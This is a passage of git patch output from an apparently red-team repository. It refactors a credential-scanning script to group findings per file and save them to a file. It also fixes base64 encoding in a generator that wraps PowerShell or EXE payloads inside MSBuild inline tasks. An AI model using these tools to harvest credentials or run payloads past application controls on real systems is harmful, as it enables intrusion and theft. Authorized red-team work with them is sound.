resultsPerFile = {} + otherResultsPerFile = {} for result in results: - technology, rex, creds = result - if technology == 'Others': continue - _print(technology, rex, creds) + file, technology, rex, creds = result + if technology == 'Others': + if file not in otherResultsPerFile.keys(): + otherResultsPerFile[file] = [] + otherResultsPerFile[file].append((technology, rex, creds)) + else: + if file not in resultsPerFile.keys(): + resultsPerFile[file] = [] + resultsPerFile[file].append((technology, rex, creds)) - if not config['no_others'] and (config['output'] == 'normal' or config['output'] == 'tabular'): - print('\n=== BELOW LINES MAY BE FALSE POSITIVES:') + for file, _results in resultsPerFile.items(): + if config['filename'] and config['format'] in ['raw', 'normal', 'tabular']: + outputToPrint += '\nResults from file: "{}"\n'.format(file) + for result in _results: + technology, rex, creds = result + outputToPrint += _print(file, technology, rex, creds) - for result in results: - technology, rex, creds = result - if technology != 'Others': continue - _print(technology, rex, creds) + if not config['no_others'] and (config['format'] == 'normal' or config['format'] == 'tabular'): + outputToPrint += '\n\n=== BELOW LINES MAY BE FALSE POSITIVES:\n' + + for file, _results in otherResultsPerFile.items(): + if config['filename'] and config['format'] in ['raw', 'normal', 'tabular']: + outputToPrint += '\nResults from file: "{}"\n'.format(file) + for result in _results: + technology, rex, creds = result + outputToPrint += _print(file, technology, rex, creds) + + return outputToPrint def main(argv): Logger._out(''' @@ -356,9 +449,16 @@ def main(argv): Logger.err('Please provide either file or directory on input.') return False - printResults() + out = printResults() - if config['output'] == 'normal' or config['output'] == 'tabular': + if config['output']: + Logger.info("Dumping credentials to the output file: '{}'".format(config['output'])) + with open(config['output'], 'w') as f: + f.write(out) + else: + print(out) + + if config['format'] == 'normal' or config['format'] == 'tabular': print('\n[>] Found: {} credentials.'.format(num)) if __name__ == '__main__': From 4b0523da3af4ec7ba1e9d0c4a9956c2616f11974 Mon Sep 17 00:00:00 2001 From: Mariusz B Date: Sat, 18 Jan 2020 00:02:02 +0100 Subject: [PATCH 34/34] Update generateMSBuildPowershellXML.py --- red-teaming/generateMSBuildPowershellXML.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/red-teaming/generateMSBuildPowershellXML.py b/red-teaming/generateMSBuildPowershellXML.py index df85512..ae21a0d 100644 --- a/red-teaming/generateMSBuildPowershellXML.py +++ b/red-teaming/generateMSBuildPowershellXML.py @@ -76,7 +76,7 @@ def getInlineTask(payload, exeFile): ]]> ''').safe_substitute( templateName = templateName, - payload2 = base64.b64encode(payload) + payload2 = base64.b64encode(payload.encode()).decode() ) exeLaunchCode = string.Template(''' @@ -95,7 +95,7 @@ def getInlineTask(payload, exeFile): method.Invoke(instance, null); ]]> ''').safe_substitute( - payload2 = base64.b64encode(payload) + payload2 = base64.b64encode(payload.encode()).decode() ) launchCode = exeLaunchCode if exeFile else powershellLaunchCode